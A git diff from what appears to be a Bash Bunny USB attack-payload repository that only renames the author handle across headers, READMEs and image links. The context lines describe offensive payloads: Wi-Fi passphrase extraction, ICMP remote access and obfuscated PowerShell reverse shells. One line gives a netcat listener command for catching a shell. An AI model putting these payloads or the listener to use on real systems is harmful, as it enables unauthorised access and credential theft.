@@ -2,7 +2,7 @@ # # Title: SerialNumBunny # Description: Execute strings placed in the Bunny serial number -# Author: 0iphor13 +# Author: 0i41E # Version: 1.0 # Category: Execution # Attackmodes: HID, RNDIS_ETHERNET diff --git a/payloads/library/execution/SerialNumBunny/readme.md b/payloads/library/execution/SerialNumBunny/readme.md index ac20f5f53..1139e40a5 100644 --- a/payloads/library/execution/SerialNumBunny/readme.md +++ b/payloads/library/execution/SerialNumBunny/readme.md @@ -1,6 +1,6 @@ **Title: SerialNumBunny** -

Author: 0iphor13
+

Author: 0i41E
OS: Windows
Version: 1.0
@@ -14,6 +14,6 @@ You can get pretty creative here, from basically calling basic powershell comman - Upload your script or the example provided onto your Bunnys switch folder. - Plug in the Bunny and let the magic happen. -![SerialNumBunny](https://github.com/0iphor13/bashbunny-payloads/assets/79219148/fa11d9b5-e2f2-45a9-a701-5a25220ca226) +![SerialNumBunny](https://github.com/0i41E/bashbunny-payloads/assets/79219148/fa11d9b5-e2f2-45a9-a701-5a25220ca226) _Note: If you want to adapt your payload nested, in the serial number, you may need to stay in a certain character limit. In my case this was 40 characters. This might be different, depending on your target. Also make sure to replace spaces within the serial number with underscores._ diff --git a/payloads/library/exfiltration/WifiSnatch/payload.txt b/payloads/library/exfiltration/WifiSnatch/payload.txt index 45aa88ce4..42b6c249b 100644 --- a/payloads/library/exfiltration/WifiSnatch/payload.txt +++ b/payloads/library/exfiltration/WifiSnatch/payload.txt @@ -2,7 +2,7 @@ # # Title: WifiSnatch # Description: Extract wifi information, such as passphrases & SSIDs -# Author: 0iphor13 +# Author: 0i41E # Version: 1.1 # Category: Exfiltration # Attackmodes: HID, Storage diff --git a/payloads/library/prank/-BB-AcidBurn/README.md b/payloads/library/prank/-BB-AcidBurn/README.md index 9e799ed11..5b83236a1 100644 --- a/payloads/library/prank/-BB-AcidBurn/README.md +++ b/payloads/library/prank/-BB-AcidBurn/README.md @@ -105,7 +105,7 @@ Arf * [Hak5](https://hak5.org/) * [MG](https://github.com/OMG-MG) -* [0iphor13](https://github.com/0iphor13) +* [0i41E](https://github.com/0i41E) * [PhilSutter](https://github.com/PhilSutter) diff --git a/payloads/library/prank/-BB-JumpScare/README.md b/payloads/library/prank/-BB-JumpScare/README.md index 69ef63f2e..ece60b5da 100644 --- a/payloads/library/prank/-BB-JumpScare/README.md +++ b/payloads/library/prank/-BB-JumpScare/README.md @@ -93,7 +93,7 @@ I am Jakoby * [Hak5](https://hak5.org/) * [MG](https://github.com/OMG-MG) -* [0iphor13](https://github.com/0iphor13) +* [0i41E](https://github.com/0i41E) * [PhilSutter](https://github.com/PhilSutter) diff --git a/payloads/library/remote_access/PingZhellBunny/Bunny.pl b/payloads/library/remote_access/PingZhellBunny/Bunny.pl index 4bac2738e..2a8358948 100644 --- a/payloads/library/remote_access/PingZhellBunny/Bunny.pl +++ b/payloads/library/remote_access/PingZhellBunny/Bunny.pl @@ -15,7 +15,7 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . # -# Modified by 0iphor13 for PingZhellBunny +# Modified by 0i41E for PingZhellBunny # # # diff --git a/payloads/library/remote_access/PingZhellBunny/README.md b/payloads/library/remote_access/PingZhellBunny/README.md index 6b190001e..93203488e 100644 --- a/payloads/library/remote_access/PingZhellBunny/README.md +++ b/payloads/library/remote_access/PingZhellBunny/README.md @@ -1,6 +1,6 @@ **Title: PingZhellBunny** -

Author: 0iphor13
+

Author: 0i41E
OS: Windows
Version: 1.5
diff --git a/payloads/library/remote_access/PingZhellBunny/payload.txt b/payloads/library/remote_access/PingZhellBunny/payload.txt index 2690061a2..89617aac9 100644 --- a/payloads/library/remote_access/PingZhellBunny/payload.txt +++ b/payloads/library/remote_access/PingZhellBunny/payload.txt @@ -2,7 +2,7 @@ # # Title: PingZhellBunny # Description: Getting remote access via ICMP -# Author: 0iphor13 +# Author: 0i41E # Version: 1.5 # Category: Remote_Access # Attackmodes: HID, RNDIS_ETHERNET diff --git a/payloads/library/remote_access/ReverseBunny/README.md b/payloads/library/remote_access/ReverseBunny/README.md index d3b39a268..fd2a6b3dd 100644 --- a/payloads/library/remote_access/ReverseBunny/README.md +++ b/payloads/library/remote_access/ReverseBunny/README.md @@ -1,6 +1,6 @@ **Title: ReverseBunny** -

Author: 0iphor13
+

Author: 0i41E
OS: Windows
Version: 1.5
@@ -8,7 +8,7 @@ Version: 1.5

!Getting remote access via obfuscated reverse shell!
Upload payload.txt and RevBunny.ps1 onto your Bunny -![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/remote_access/ReverseBunny/RevBunny.png) +![alt text](https://github.com/0i41E/bashbunny-payloads/blob/master/payloads/library/remote_access/ReverseBunny/RevBunny.png) Change the variables in payload.txt to your attacking machine & start your listener. (for example netcat: nc -lvnp [PORT] )

diff --git a/payloads/library/remote_access/ReverseBunny/payload.txt b/payloads/library/remote_access/ReverseBunny/payload.txt index 75d003cc1..fa5cd1cef 100644 --- a/payloads/library/remote_access/ReverseBunny/payload.txt +++ b/payloads/library/remote_access/ReverseBunny/payload.txt @@ -2,7 +2,7 @@ # # Title: ReverseBunny # Description: Get remote access, using an obfuscated powershell reverse shell. -# Author: 0iphor13 +# Author: 0i41E # Version: 1.5 # Category: Remote_Access # Attackmodes: HID, RNDIS_ETHERNET diff --git a/payloads/library/remote_access/ReverseBunnySSL/README.md b/payloads/library/remote_access/ReverseBunnySSL/README.md index 63182453e..6d07da864 100644 --- a/payloads/library/remote_access/ReverseBunnySSL/README.md +++ b/payloads/library/remote_access/ReverseBunnySSL/README.md @@ -1,6 +1,6 @@ **Title: ReverseBunnySSL** -

Author: 0iphor13
+

Author: 0i41E
OS: Windows
Version: 1.2
For input and inspiration - Thanks to: Cribbit, sebkinne

@@ -26,5 +26,5 @@ I recommend openssl itself or ncat - Example syntax for both:
**Disclaimer: Because of obfuscation, it may take some time until the shell is fully executed by powershell** -![alt text](https://github.com/0iphor13/omg-payloads/blob/master/payloads/library/remote_access/ReverseCableSSL/CreateCert.png) -![alt text](https://github.com/0iphor13/bashbunny-payloads/blob/master/payloads/library/remote_access/ReverseBunnySSL/Startscreen.png) +![alt text](https://github.com/0i41E/omg-payloads/blob/master/payloads/library/remote_access/ReverseCableSSL/CreateCert.png) +![alt text](https://github.com/0i41E/bashbunny-payloads/blob/master/payloads/library/remote_access/ReverseBunnySSL/Startscreen.png) diff --git a/payloads/library/remote_access/ReverseBunnySSL/payload.txt b/payloads/library/remote_access/ReverseBunnySSL/payload.txt index 57358c050..c42c20911 100644 --- a/payloads/library/remote_access/ReverseBunnySSL/payload.txt +++ b/payloads/library/remote_access/ReverseBunnySSL/payload.txt @@ -2,7 +2,7 @@ # # Title: ReverseBunnySSL # Description: Get remote access, using an obfuscated powershell reverse shell. -# Author: 0iphor13 +# Author: 0i41E # Version: 1.2 # Category: Remote_Access # Attackmodes: HID, RNDIS_ETHERNET